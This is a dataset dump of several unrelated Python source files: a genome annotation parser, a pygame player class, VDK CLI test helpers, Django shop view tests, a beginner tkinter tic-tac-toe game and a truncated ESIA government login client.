int(splitLine[8]), splitLine[9]]\n\n if currentLocusTag not in self.reg_dict:\n self.reg_dict[currentLocusTag] = [values]\n elif currentLocusTag in self.reg_dict:\n self.reg_dict[currentLocusTag].append(values)\n\n if splitLine[13] != '':\n if para_dict_key_string == '':\n para_dict_key_string = splitLine[13] + ';'\n else:\n para_dict_key_string = para_dict_key_string + splitLine[13] + ';'\n\n # leaving this in for now, it's related accession\n #if splitLine[12] != '':\n # if para_dict_key_string == '':\n # para_dict_key_string = splitLine[12] + ';'\n # else:\n # para_dict_key_string = para_dict_key_string + splitLine[12] + ';'\n\n\n if splitLine[14] != '':\n if para_dict_key_string == '':\n para_dict_key_string = splitLine[14] + ';'\n else:\n para_dict_key_string = para_dict_key_string + splitLine[14] + ';'\n\n para_dict_key_string = para_dict_key_string.replace(',', '')\n # set the parallel dictionary's key string\n #para_dict_key_string = splitLine[13] + \";\" + splitLine[12] + \";\" + splitLine[14]\n\n # if the current line we're on has the data we want for the parellel dictionary, store it\n if len(para_dict_key_string) > 3:\n if para_dict_key_string[len(para_dict_key_string) - 1] == ';':\n para_dict_key_string = para_dict_key_string[0:len(para_dict_key_string) - 1]\n\n if para_dict_key_string not in self.para_dict: # make a new input into the dict\n self.para_dict[para_dict_key_string] = [currentLocusTag]\n elif para_dict_key_string in self.para_dict:\n if currentLocusTag not in self.para_dict[para_dict_key_string]:\n # only append it to the dict's list if it isn't currently in there\n self.para_dict[para_dict_key_string].append(currentLocusTag)\n\n para_dict_key_string = \"\"\n prevGenAccession = splitLine[6]\n self.max_chrom = indexNumber\n except Exception as e:\n logger.critical(\"Error in txt_parse() in annotation parser.\")\n logger.critical(e)\n logger.critical(traceback.format_exc())\n msgBox = QtWidgets.QMessageBox()\n msgBox.setStyleSheet(\"font: \" + str(GlobalSettings.mainWindow.fontSize) + \"pt 'Arial'\")\n msgBox.setIcon(QtWidgets.QMessageBox.Icon.Critical)\n msgBox.setWindowTitle(\"Fatal Error\")\n msgBox.setText(\"Fatal Error:\\n\"+str(e)+ \"\\n\\nFor more information on this error, look at CASPER.log in the application folder.\")\n msgBox.addButton(QtWidgets.QMessageBox.StandardButton.Close)\n msgBox.exec()\n\n exit(-1)\n\n # This function checks to see which file we are parsing\n # It also checks whether to parse based on locus_tag or product accession (txt files only)\n # Then it calls the respective parser functions used\n def find_which_file_version(self):\n try:\n if self.annotationFileName == \"\" or GlobalSettings.mainWindow.annotation_files.currentText() == \"None\":\n return -1\n if \"gff\" in self.annotationFileName:\n ### gff file support currently deprecated\n \"\"\"\n self.isGff = True\n self.gff_parse()\n \"\"\"\n print(\"Error: Wrong annotation file format\")\n return -1\n \n elif \"feature_table\" in self.annotationFileName:\n ### feature table file support currently deprecated\n # now that we know it's a txt file and not a gff, check and see if we will be parsing by locus tag or\n # product accession\n \"\"\"\n fileStream = open(self.annotationFileName)\n\n #skip all of the lines that start with #\n buf = fileStream.readline()\n while buf.startswith(\"#\"):\n buf = fileStream.readline()\n\n # split it and see if the locus tag spot has data in it\n split = buf.split(\"\\t\")\n if split[16] != \"\": # if it does, we are parsing based on locus_tag\n self.txtLocusTag = True\n elif split[16] == \"\": # if not, we are parsing based on product accession\n self.txtLocusTag = False\n fileStream.close()\n self.isTxt = True\n self.txt_parse()\n \"\"\"\n print(\"Error: Wrong annotation file format\")\n return -1\n elif \"gbff\" or \"gbk\" in self.annotationFileName:\n return \"gbff\"\n # return -1 to throw the error window in main\n else:\n return -1\n except Exception as e:\n logger.critical(\"Error in find_which_file_version() in annotation parser.\")\n logger.critical(e)\n logger.critical(traceback.format_exc())\n msgBox = QtWidgets.QMessageBox()\n msgBox.setStyleSheet(\"font: \" + str(GlobalSettings.mainWindow.fontSize) + \"pt 'Arial'\")\n msgBox.setIcon(QtWidgets.QMessageBox.Icon.Critical)\n msgBox.setWindowTitle(\"Fatal Error\")\n msgBox.setText(\"Fatal Error:\\n\"+str(e)+ \"\\n\\nFor more information on this error, look at CASPER.log in the application folder.\")\n msgBox.addButton(QtWidgets.QMessageBox.StandardButton.Close)\n msgBox.exec()\n\n exit(-1)\n\n","sub_path":"AnnotationParser.py","file_name":"AnnotationParser.py","file_ext":"py","file_size_in_byte":23045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"328169040","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on Thu Apr 15 2021\n@author: Moreno rodrigues rodriguesmsb@gmail.com\n\"\"\"\n\nimport pygame\nfrom pygame import mixer\n\n\n\n\nclass Player():\n def __init__(self, x, y, word_elements):\n self.reset(x, y, word_elements)\n\n pygame.mixer.pre_init(44100, -16, 2, 512)\n\n #initialize pygame mixer\n mixer.init()\n\n #load sound\n self.jump_effect = pygame.mixer.Sound(\"img/jump.wav\")\n self.jump_effect.set_volume(0.5)\n\n self.coin_effect = pygame.mixer.Sound(\"img/coin.wav\")\n self.coin_effect.set_volume(0.5)\n\n self.dead_effect = pygame.mixer.Sound(\"img/game_over.wav\")\n self.dead_effect.set_volume(0.5)\n\n\n def update_player_position(self, screen, screen_width, screen_height, world, game_over):\n\n # we need 3 steps to update position in this game\n # 1 calculate player position\n # 2 check collision at new positon\n # 3 adjust player position\n\n dx = 0\n dy = 0\n walk_speed = 5\n game_over = game_over\n col_treshold = 20\n\n\n if game_over == False:\n\n #get key press\n key = pygame.key.get_pressed()\n\n #Add left move\n if key[pygame.K_LEFT]:\n dx -= 5\n self.direction = \"left\"\n\n if key[pygame.K_RIGHT]:\n #change character position\n dx += 5\n self.direction = \"right\"\n\n #add jump evevent\n if key[pygame.K_SPACE] and self.player_jumped == False and self.in_air == False:\n self.jump_effect.play()\n self.player_jump_vel = -15\n self.player_jumped = True\n\n #stopping jum event\n if key[pygame.K_SPACE] == False:\n self.player_jumped = False\n\n\n #block code to handle with animation\n\n #add code to star animation only if key is pressed\n if key[pygame.K_RIGHT] or key[pygame.K_LEFT]:\n self.counter += 1\n \n \n #Add animation during the move\n if self.counter > walk_speed:\n self.counter = 0\n self.index += 1\n if self.index >= len(self.images_right):\n self.index = 0\n if self.direction == \"right\":\n self.player = self.images_right[self.index]\n if self.direction == \"left\":\n self.player = self.images_left[self.index]\n\n \n #add guy to stop position\n if key[pygame.K_RIGHT] == False and key[pygame.K_LEFT] == False:\n self.counter = 0\n if self.direction == \"right\":\n self.player = self.images_right[0]\n if self.direction == \"left\":\n self.player = self.images_left[0]\n \n \n\n ## add gravity\n self.player_jump_vel += 1\n if self.player_jump_vel > 10:\n self.player_jump_vel = 10\n dy += self.player_jump_vel\n\n \n \n #check for collision\n self.in_air = True\n for tile in world.tile_list:\n #check for x collision\n if tile[1].colliderect(self.rect.x + dx, self.rect.y, self.width, self.height):\n dx = 0\n\n #check for collision on y direction\n if tile[1].colliderect(self.rect.x, self.rect.y + dy, self.width, self.height):\n #check if the player is bellow the ground i.e jumping\n if self.player_jump_vel < 0:\n dy = tile[1].bottom - self.rect.top\n self.player_jump_vel = 0\n\n #check if the player is above the ground i.e falling\n elif self.player_jump_vel > 0:\n dy = tile[1].top - self.rect.bottom\n self.in_air = False\n\n #check for collision with enemeis and lava\n if pygame.sprite.spritecollide(self, self.elements[0], False):\n game_over = True\n self.dead_effect.play()\n\n if pygame.sprite.spritecollide(self, self.elements[1], False):\n game_over = True\n self.dead_effect.play()\n \n #check for collision with exit\n if pygame.sprite.spritecollide(self, self.elements[2], False):\n game_over = \"passed\"\n\n #check for collision with move plataforms\n for plataform in self.elements[4]:\n #collision in the x direction\n if plataform.rect.colliderect(self.rect.x + dx, self.rect.y, self.width, self.height):\n dx = 0\n #collision in the y direction\n if plataform.rect.colliderect(self.rect.x, self.rect.y + dy, self.width, self.height):\n #check if bellow plataform\n if abs((self.rect.top + dy) - plataform.rect.bottom) < col_treshold:\n self.player_jump_vel = 0\n dy = plataform.rect.bottom - self.rect.top\n #check if above plataform\n elif abs((self.rect.bottom + dy) - plataform.rect.top) < col_treshold:\n self.rect.bottom = plataform.rect.top - 1\n dy = 0\n self.in_air = False\n #move with plataform\n if plataform.move_x != 0:\n self.rect.x += plataform.move_direction\n \n #update player coordinate\n self.rect.x += dx\n self.rect.y += dy\n\n\n # #Check if the player move away from screen\n # if self.rect.bottom > screen_height:\n # self.rect.bottom = screen_height\n # dy = 0\n elif game_over == True:\n self.player = self.dead_image\n if self.rect.y > 100:\n self.rect.y -=5\n \n\n\n #draw player on screen\n screen.blit(self.player, self.rect)\n\n #draw a rect around char\n #pygame.draw.rect(screen, (255,255,255), self.rect, 2)\n return game_over\n\n def reset(self, x, y, word_elements):\n\n #Create a list for enemies\n self.elements = word_elements\n\n #create a blank list\n self.images_right = []\n self.images_left = []\n\n #track list index\n self.index = 0\n self.counter = 0\n\n #load the images\n for num in range(1,5):\n img_path = \"img/guy\" + str(num) + \".png\"\n img_right = pygame.image.load(img_path)\n\n player_right = pygame.transform.scale(img_right,(40,80))\n\n #flip image \n player_left = pygame.transform.flip(player_right, True, False)\n\n self.images_right.append(player_right)\n self.images_left.append(player_left)\n \n\n #ad a image for dead\n self.dead_image = pygame.image.load(\"img/ghost.png\")\n #get images from list to display on screen\n self.player = self.images_right[self.index]\n self.rect = self.player.get_rect()\n\n #get player position\n self.rect.x = x\n self.rect.y = y\n self.width = self.player.get_width()\n self.height = self.player.get_height()\n self.player_jump_vel = 0\n self.player_jumped = False\n self.direction = \"right\"\n self.in_air = True\n \n\n \n\n\n \n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":7570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"282783374","text":"# Copyright 2021 VMware, Inc.\n# SPDX-License-Identifier: Apache-2.0\nimport os\nimport pathlib\nimport traceback\nfrom typing import cast\nfrom typing import Optional\n\nimport click\nfrom click.testing import CliRunner\nfrom click.testing import Result\nfrom vdk.api.plugin.core_hook_spec import CoreHookSpecs\nfrom vdk.api.plugin.core_hook_spec import JobRunHookSpecs\nfrom vdk.api.plugin.hook_markers import hookimpl\nfrom vdk.internal import cli_entry\nfrom vdk.internal.builtin_plugins.internal_hookspecs import InternalHookSpecs\nfrom vdk.internal.builtin_plugins.run.data_job import DataJob\nfrom vdk.internal.builtin_plugins.run.job_context import JobContext\nfrom vdk.internal.builtin_plugins.run.step import Step\nfrom vdk.internal.builtin_plugins.run.step import StepBuilder\nfrom vdk.internal.builtin_plugins.run.step import StepFunction\nfrom vdk.internal.cli_entry import CliEntry\nfrom vdk.internal.core.config import ConfigurationBuilder\nfrom vdk.internal.core.context import CoreContext\nfrom vdk.internal.core.statestore import StateStore\nfrom vdk.internal.plugin.plugin import PluginRegistry\nfrom vdk.plugin.test_utils.util_plugins import TestPropertiesPlugin\n\n\ndef cli_assert(is_true, result: Result) -> None:\n assert is_true, (\n f\"result assert fails, Output: {result.output} \"\n f\"Exception:\\n {''.join(traceback.format_exception(*result.exc_info))} \"\n )\n\n\ndef cli_assert_equal(expected_exit_code, result: Result) -> None:\n assert result.exit_code == expected_exit_code, (\n f\"result exit code is not {expected_exit_code} but it is {result.exit_code}, \\n\"\n f\"Exception:\\n {''.join(traceback.format_exception(*result.exc_info))} \\n\"\n f\"Output:\\n {result.output}\"\n )\n\n\nclass TestingCliEntryPlugin:\n def __init__(self, runner=CliRunner(), **extra):\n \"\"\"\n :param runner: the CLI test runner.\n \"\"\"\n self.runner = runner\n self.extra = extra\n self.result: Optional[Result] = None\n\n @hookimpl(tryfirst=True)\n def vdk_cli_execute(\n self,\n root_command: click.Command,\n command_line_args: list,\n program_name: str,\n core_context: CoreContext,\n ) -> int:\n self.result = self.runner.invoke(\n cli=root_command,\n args=command_line_args,\n obj=core_context,\n prog_name=program_name,\n **self.extra,\n )\n return self.result.exit_code\n\n\nclass CliEntryBasedTestRunner:\n \"\"\"\n Enables to run CLI commands for unit testing purposes in a isolated environment.\n It relies on click.testing.CliRunner and simply setups plugin registry and\n replaces normal cli calls with those with CliRunner.\n\n \"\"\"\n\n def __init__(self, *plugins):\n \"\"\"\n :param plugins: the list of plugins that should be loaded during this test run.\n \"\"\"\n self._plugins = plugins\n self._default_plugins = [TestPropertiesPlugin()]\n\n def clear_default_plugins(self):\n self._default_plugins.clear()\n\n def invoke(self, args, cli=cli_entry.cli, **extra) -> Result:\n plugin_registry = PluginRegistry()\n plugin_registry.add_hook_specs(InternalHookSpecs)\n plugin_registry.load_plugin_with_hooks_impl(CliEntry(), \"cli-entry\")\n\n testing_cli_entry = TestingCliEntryPlugin(**extra)\n plugin_registry.load_plugin_with_hooks_impl(\n testing_cli_entry, \"testing-cli-entry\"\n )\n for plugin in self._default_plugins:\n plugin_registry.load_plugin_with_hooks_impl(plugin)\n for plugin in self._plugins:\n plugin_registry.load_plugin_with_hooks_impl(plugin)\n\n exit_code = cast(InternalHookSpecs, plugin_registry.hook()).vdk_main(\n plugin_registry=plugin_registry, root_command=cli, command_line_args=args\n )\n testing_cli_entry.result.exit_code = exit_code\n return testing_cli_entry.result\n\n\ndef get_test_job_path(current_dir: pathlib.Path, job_name: str) -> str:\n \"\"\"Get the path of the test data job returned as string so it can be passed easier as cmd line args\"\"\"\n jobs_dir = current_dir.joinpath(\"jobs\")\n return str(jobs_dir.joinpath(job_name))\n\n\ndef jobs_path_from_caller_directory(job_name: str):\n \"\"\"\n Get data job path by looking at \"jobs\" directory. \"jobs\" directory is search in same one as caller's file directory.\n \"\"\"\n import inspect\n\n frame = inspect.stack()[1]\n module = inspect.getmodule(frame[0])\n caller_dir = pathlib.Path(os.path.dirname(os.path.abspath(module.__file__)))\n return get_test_job_path(caller_dir, job_name)\n\n\nclass DataJobBuilder:\n def __init__(self):\n self.step_builder: StepBuilder = StepBuilder()\n self.core_context = self.__get_core_context()\n self.name = \"test-job\"\n\n def __get_core_context(self):\n core_context = CoreContext(\n PluginRegistry(), ConfigurationBuilder().build(), StateStore()\n )\n core_context.plugin_registry.add_hook_specs(CoreHookSpecs)\n core_context.plugin_registry.add_hook_specs(JobRunHookSpecs)\n core_context.plugin_registry.load_plugin_with_hooks_impl(\n self, \"test-job-builder\"\n )\n return core_context\n\n @hookimpl(trylast=True)\n def initialize_job(self, context: JobContext) -> None:\n context.step_builder = self.step_builder\n\n def add_step_func(\n self, step_runner_func: StepFunction, step_name=\"test\", step_type=\"test\"\n ) -> None:\n self.step_builder.add_step(\n Step(\n name=step_name,\n type=step_type,\n runner_func=step_runner_func,\n file_path=pathlib.Path(__file__),\n job_dir=pathlib.Path(__file__),\n )\n )\n\n def build(self) -> DataJob:\n return DataJob(None, self.core_context, name=self.name)\n","sub_path":"projects/vdk-core/plugins/vdk-test-utils/src/vdk/plugin/test_utils/util_funcs.py","file_name":"util_funcs.py","file_ext":"py","file_size_in_byte":5852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"499155960","text":"from django.test import TestCase\nfrom bag.contexts import bag_contents\nfrom django.contrib import messages\nfrom .models import Product\nfrom checkout.models import Order, PreOrder\nfrom django.contrib.auth.models import User\n\n\ndef get_bag_context(self):\n response = self.client.get('/bag/')\n context = response.context\n return context\n\n\nclass TestView (TestCase):\n\n def test_products(self):\n \"\"\"testing if the products page works and template used\"\"\"\n response = self.client.get('/products/')\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'products/products.html')\n\n def test_quantity_of_product_selectable(self):\n \"\"\"testing if the selectable product quantity is correct\"\"\"\n product = Product(name=\"Create a Test\", price=0, available_quantity=10)\n product.save()\n quantity_already_in_bag = 5\n session = self.client.session\n session['bag'] = {product.id: quantity_already_in_bag}\n session.save()\n response = self.client.get('/bag/')\n bag_context = get_bag_context(self)\n remaining_qty_context = bag_context['bag_items'][0]['remaining_qty']\n remaining_quantity = (\n product.available_quantity - quantity_already_in_bag\n )\n self.assertEqual(remaining_quantity, remaining_qty_context)\n\n def test_search_by_q(self):\n \"\"\"testing search questy functionality\"\"\"\n product = Product(\n name=\"test name\", price=0, description=\"test description\"\n )\n product.save()\n # searching name by name\n response = self.client.get('/products/', {\"q\": \"test name\"})\n self.assertIn(product, response.context[\"products\"])\n # searching name by description\n response = self.client.get('/products/', {\"q\": \"test description\"})\n self.assertIn(product, response.context[\"products\"])\n\n def test_search_by_euro_filter(self):\n \"\"\"testing EU shippable filter\"\"\"\n product = Product(name=\"test name\", price=0, euro_shipping=False)\n product.save()\n response = self.client.get('/products/', {\"euro_filter\": True})\n self.assertNotIn(product, response.context[\"products\"])\n\n def test_search_by_avaialable_filter(self):\n \"\"\"testing avaialable filter\"\"\"\n product = Product(name=\"test name\", price=0, available_quantity=0)\n product.save()\n response = self.client.get('/products/', {\"available_filter\": True})\n self.assertNotIn(product, response.context[\"products\"])\n\n \"\"\"management tests\"\"\"\n\n def test_confirm_preorder(self):\n \"\"\"testing confirm preorder option \"\"\"\n\n preorder = PreOrder(\n full_name=\"test\",\n email=\"test\",\n phone_number=\"12\",\n country=\"test\",\n postcode=\"test\",\n town_or_city=\"test\",\n street_address1=\"test\",\n street_address2=\"test\",\n county=\"test\",\n delivery_cost=10,\n order_total=10,\n grand_total=10,\n )\n preorder.save()\n user = User.objects.create_superuser(\n 'testuser', 'test@test.com', '12345'\n )\n user.save()\n self.client.login(username=user.username, password='12345')\n response = self.client.post(\n f'/products/confirm_pre_order/{preorder.order_number}',\n {'pp_transaction_id': 'test_transaction_id'}\n )\n confirmed_preorder = PreOrder.objects.get(pk=preorder.id)\n self.assertEqual(\"UPG\", confirmed_preorder.status)\n\n def test_order_shipped(self):\n \"\"\"testing if order is marked as shipped correctly\"\"\"\n order = Order(\n full_name=\"test\",\n email=\"test\",\n phone_number=\"12\",\n country=\"test\",\n postcode=\"test\",\n town_or_city=\"test\",\n street_address1=\"test\",\n street_address2=\"test\",\n county=\"test\",\n delivery_cost=10,\n order_total=10,\n grand_total=10,\n original_bag=\"test\"\n )\n order.save()\n user = User.objects.create_superuser(\n 'testuser', 'test@test.com', '12345'\n )\n user.save()\n self.client.login(username=user.username, password='12345')\n delivery_info = {\n 'tracking_number': '12345',\n 'provider': 'test provider',\n 'expected_wait': 22,\n 'order': order,\n }\n\n response = self.client.post(\n f'/products/toggle_shipped/{order.id}', delivery_info)\n order = Order.objects.get(pk=order.id)\n self.assertTrue(order.shipped)\n # check if associated delivery was generated\n delivery_generated = False\n delivery = order.delivery.all()[0]\n if (delivery_info['tracking_number'] == delivery.tracking_number and\n delivery_info['provider'] == delivery.provider and\n delivery_info['expected_wait'] == delivery.expected_wait):\n delivery_generated = True\n self.assertTrue(delivery_generated)\n # request to unship the order\n response = self.client.post(f'/products/toggle_shipped/{order.id}')\n order = Order.objects.get(pk=order.id)\n self.assertFalse(order.shipped)\n\n def test_product_active(self):\n \"\"\"testing if order is marked active correctly\"\"\"\n product = Product(\n name=\"test name\",\n price=0, image=\"\",\n available_quantity=10,\n )\n product.save()\n user = User.objects.create_superuser(\n 'testuser', 'test@test.com', '12345'\n )\n user.save()\n self.client.login(username=user.username, password='12345')\n # request to make product inactive\n response = self.client.post(f'/products/toggle_active/{product.id}')\n product = Product.objects.get(pk=product.id)\n self.assertFalse(product.is_active)\n # request to make product active\n response = self.client.post(f'/products/toggle_active/{product.id}')\n product = Product.objects.get(pk=product.id)\n self.assertTrue(product.is_active)\n\n def test_preorder_invalid(self):\n \"\"\"testing if preorder is marked invalid correctly\"\"\"\n preorder = PreOrder(\n full_name=\"test\",\n email=\"test\",\n phone_number=\"12\",\n country=\"test\",\n postcode=\"test\",\n town_or_city=\"test\",\n street_address1=\"test\",\n street_address2=\"test\",\n county=\"test\",\n )\n preorder.save()\n user = User.objects.create_superuser(\n 'testuser', 'test@test.com', '12345'\n )\n user.save()\n self.client.login(username=user.username, password='12345')\n # request to make preorder invalid\n response = self.client.post(\n f'/products/invalid_pre_order/{preorder.order_number}'\n )\n preorder = PreOrder.objects.get(pk=preorder.id)\n self.assertEqual(\"INV\", preorder.status)\n","sub_path":"products/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":7245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"343641222","text":"import tkinter as tk\nimport os\n\nticTacToe = tk.Tk()\nticTacToe.title('Tic Tac Toe')\nticTacToe.geometry(\"400x400+1800+200\") # großer Monitor\n# ticTacToe.geometry(\"400x400+100+0\") # kleiner Monitor\n\nx = True\n\ndef back():\n ticTacToe.destroy()\n os.system(\"pf_main_window.py\") # Startet neue Session\n\n\ndef rebootTicTacToe():\n ticTacToe.destroy() # Beendet jetzige Session\n os.system(\"pf_g_tic_tac_toe.py\") # Startet neue Session\n\ndef makeAnXA():\n if x == True: \n btn_A.set(\" X \")\n changePlayer() \n else:\n btn_A.set(\" O \") \n bAcheck.config(state=\"disabled\")\n changePlayer() \ndef makeAnXB():\n if x == True: \n btn_B.set(\" X \")\n else:\n btn_B.set(\" O \") \n bBcheck.config(state=\"disabled\")\n changePlayer()\ndef makeAnXC(): \n btn_C.set(\" X \")\n bCcheck.config(state=\"disabled\")\n x = False\n\ndef makeAnXD(): \n btn_D.set(\" X \")\n bDcheck.config(state=\"disabled\")\n x = False\ndef makeAnXE(): \n btn_E.set(\" X \")\n bEcheck.config(state=\"disabled\")\ndef makeAnXF(): \n x = False\n btn_F.set(\" X \")\n bFcheck.config(state=\"disabled\")\n\ndef makeAnXG(): \n btn_G.set(\" X \")\n bGcheck.config(state=\"disabled\")\n x = False\ndef makeAnXH(): \n btn_H.set(\" X \")\n bHcheck.config(state=\"disabled\")\n x = False\ndef makeAnXI(): \n btn_I.set(\" X \")\n bIcheck.config(state=\"disabled\")\n x = False\n\n\ndef makeAnOA(): \n btn_A.set(\" O \")\n bAcheck.config(state=\"disabled\")\ndef makeAnOB(): \n btn_B.set(\" O \")\n bBcheck.config(state=\"disabled\")\ndef makeAnOC(): \n btn_C.set(\" O \")\n bCcheck.config(state=\"disabled\")\n\ndef makeAnOD(): \n btn_D.set(\" O \")\n bDcheck.config(state=\"disabled\")\ndef makeAnOE(): \n btn_E.set(\" O \")\n bEcheck.config(state=\"disabled\")\ndef makeAnOF(): \n btn_F.set(\" O \")\n bFcheck.config(state=\"disabled\")\n\ndef makeAnOG(): \n btn_G.set(\" O \")\n bGcheck.config(state=\"disabled\")\ndef makeAnOH(): \n btn_H.set(\" O \")\n bHcheck.config(state=\"disabled\")\ndef makeAnOI(): \n btn_I.set(\" O \")\n bIcheck.config(state=\"disabled\")\n\ndef makeAnCircle():\n btn_none_text.set(\" O \")\n\n\ndef changePlayer():\n if x == True: \n ausgabefeld.insert('end', x)\n return x == False\n else:\n ausgabefeld.insert('end', x)\n return x == True\n\n\n\n\n\n\n# Frame 1\nrahmenreihe1 = tk.Frame(ticTacToe)\nrahmenreihe1.pack(fill='x', padx=10, ipady=10)\n\n# Frame 2 Spiel 1\nrahmenreihe2 = tk.Frame(ticTacToe)\nrahmenreihe2.pack(fill='x', padx=10)\n\n# Frame 3 Spiel 2\nrahmenreihe3 = tk.Frame(ticTacToe)\nrahmenreihe3.pack(fill='x', padx=10)\n\n# Frame 4 Spiel 3\nrahmenreihe4 = tk.Frame(ticTacToe)\nrahmenreihe4.pack(fill='x', padx=10)\n\n# Button Zurück\nbback = tk.Button(rahmenreihe1, width=10, text=\"Zurück\", command=back)\nbback.pack(side=\"left\", padx=10, pady=5)\n\n# Button Neustart\nbrestart = tk.Button(rahmenreihe1, width=10,\n text=\"Neustart\", command=rebootTicTacToe)\nbrestart.pack(side=\"left\", padx=10, pady=5)\n\n# Button Start Spiel\nbStartSpiel = tk.Button(rahmenreihe1, width=10,\n text=\"Starte Spiel\")\nbStartSpiel.pack(side=\"left\", padx=10, pady=5)\n\n# Label 1\n#labeleingabe = tk.Label(rahmenreihe1, text='Eingabe:')\n# labeleingabe.pack(side='left')\nbtn_A = tk.StringVar()\nbtn_B = tk.StringVar()\nbtn_C = tk.StringVar()\n\nbtn_D = tk.StringVar()\nbtn_E = tk.StringVar()\nbtn_F = tk.StringVar()\n\nbtn_G = tk.StringVar()\nbtn_H = tk.StringVar()\nbtn_I = tk.StringVar()\n\nbAcheck = tk.Button(rahmenreihe2, textvariable=btn_A, command=makeAnXA)\nbBcheck = tk.Button(rahmenreihe2, textvariable=btn_B, command=makeAnXB)\nbCcheck = tk.Button(rahmenreihe2, textvariable=btn_C, command=changePlayer)\n\nbDcheck = tk.Button(rahmenreihe3, textvariable=btn_D, command=changePlayer)\nbEcheck = tk.Button(rahmenreihe3, textvariable=btn_E, command=changePlayer)\nbFcheck = tk.Button(rahmenreihe3, textvariable=btn_F)\n\nbGcheck = tk.Button(rahmenreihe4, textvariable=btn_G)\nbHcheck = tk.Button(rahmenreihe4, textvariable=btn_H)\nbIcheck = tk.Button(rahmenreihe4, textvariable=btn_I)\n\nbAcheck.pack(side='left')\nbBcheck.pack(side='left')\nbCcheck.pack(side='left')\n\nbDcheck.pack(side='left')\nbEcheck.pack(side='left')\nbFcheck.pack(side='left')\n\nbGcheck.pack(side='left')\nbHcheck.pack(side='left')\nbIcheck.pack(side='left')\n\n\nbtn_A.set(\"[ ]\")\nbAcheck.config(state=\"normal\")\nbtn_B.set(\"[ ]\")\nbtn_C.set(\"[ ]\")\n\nbtn_D.set(\"[ ]\")\nbtn_E.set(\"[ ]\")\nbtn_F.set(\"[ ]\")\n\nbtn_G.set(\"[ ]\")\nbtn_H.set(\"[ ]\")\nbtn_I.set(\"[ ]\")\n\n# | A | B | C |\n# | D | E | F |\n# | G | H | I |\n\n\n# Button Lösche Ausgabefeld\nbdelete = tk.Button(ticTacToe, text='clear')\nbdelete.pack(side='bottom', anchor='w', padx=10, pady=5)\n\n# Ausgabefeld 1\nausgabefeld = tk.Text(ticTacToe)\nausgabefeld.insert('end', \"Start Game\")\nausgabefeld.pack(padx=10, pady=10)\n\n\nticTacToe.mainloop()\n","sub_path":"pf_g_tic_tac_toe.py","file_name":"pf_g_tic_tac_toe.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"490854345","text":"import enum\nimport uuid\nfrom typing import *\n\nfrom OpenSSL import crypto\n\nimport esia_client.exceptions\nimport esia_client.utils\nimport logging\n\n__all__ = ['Settings', 'Scope', 'Auth', 'UserInfo']\n\nlogger = logging.getLogger(__name__)\n\n\nclass Scope(enum.Enum):\n \"\"\"\n Типы запросов авторизации и информации о пользователе в ЕСИА\n \"\"\"\n Authorization = 'openid'\n Fullname = 'fullname'\n Birthdate = 'birthdate'\n Sex = 'gender'\n SNILS = 'snils'\n INN = 'inn'\n Documents = 'id_doc'\n Birthplace = 'birthplace'\n Email = 'email'\n Phone = 'mobile'\n\n def __str__(self):\n return self.value\n\n\nclass Settings:\n def __init__(self, esia_client_id: str, redirect_uri: str, cert_file: str, private_key_file: str,\n esia_service_url: str, scopes: Iterable[Scope], request_timeout: float = 5):\n \"\"\"\n Настройки клиента ЕСИА\n\n Args:\n esia_client_id: идентификатор клиента в системе ЕСИА\n redirect_uri: ссылка для переадресации пользователя после авторизации по умолчанию\n cert_file: сертификат клиента для верификации электронной подписи запросов\n private_key_file: приватный ключ для генерации электронной подписи запроса\n esia_service_url: ссылка на стенд ЕСИА\n scopes: запрашиваемые разрешения на получение данных о пользователе\n request_timeout: таймаут HTTP запросов\n\n \"\"\"\n self.esia_client_id = esia_client_id\n self.redirect_uri = redirect_uri\n self.esia_service_url = esia_service_url\n self.scopes = tuple(scopes)\n self.timeout = request_timeout\n with open(cert_file, 'rb') as cert_file, \\\n open(private_key_file, 'rb') as pkey_file:\n self._crt = crypto.load_certificate(crypto.FILETYPE_PEM, cert_file.read())\n self._pkey = crypto.load_privatekey(crypto.FILETYPE_PEM, pkey_file.read())\n\n @property\n def scope_string(self):\n return ' '.join((str(x) for x in self.scopes))\n\n\nclass UserInfo:\n \"\"\"\n Клиент получения пользовательских данных из ЕСИА\n \"\"\"\n\n def __init__(self, access_token: str, oid: str, settings: Settings):\n \"\"\"\n Args:\n access_token: токен авторизации\n oid: идентификатор пользователя в системе ЕСИА\n settings: настройки клиента ЕСИА\n \"\"\"\n self.token = access_token\n self.oid = oid\n self.settings = settings\n self._rest_base_url = '%s/rs' % settings.esia_service_url\n\n def _request(self, url: str) -> dict:\n \"\"\"\n Делает запрос пользовательской информации в ЕСИА\n\n Args:\n url: URL запроса пользовательских данных\n\n Raises:\n IncorrectJsonError: неверный формат ответа\n HttpError: ошибка сети или сервера\n\n \"\"\"\n headers = {'Authorization': \"Bearer %s\" % self.token, 'Accept': 'application/json'}\n logger.info(f'Sending info request to; {url}')\n\n return esia_client.utils.make_request(url=url, headers=headers, timeout=self.settings.timeout)\n\n def get_person_main_info(self) -> dict:\n \"\"\"\n Получение общей информации о пользователе\n \"\"\"\n\n url = '{base}/prns/{oid}'.format(base=self._rest_base_url, oid=self.oid)\n return self._request(url=url)\n\n def get_person_addresses(self) -> dict:\n \"\"\"\n Получение адресов регистрации пользователя\n \"\"\"\n\n url = '{base}/prns/{oid}/addrs?embed=(elements)'.format(base=self._rest_base_url, oid=self.oid)\n return self._request(url=url)\n\n def get_person_contacts(self) -> dict:\n \"\"\"\n Получение пользовательский контактов\n \"\"\"\n url = '{base}/prns/{oid}/ctts?embed=(elements)'.format(base=self._rest_base_url, oid=self.oid)\n return self._request(url=url)\n\n def get_person_documents(self) -> dict:\n \"\"\"\n Получение пользовательских документов\n \"\"\"\n url = '{base}/prns/{oid}/docs?embed=(elements)'.format(base=self._rest_base_url, oid=self.oid)\n return self._request(url=url)\n\n def get_person_passport(self, doc_id: int) -> dict:\n \"\"\"\n 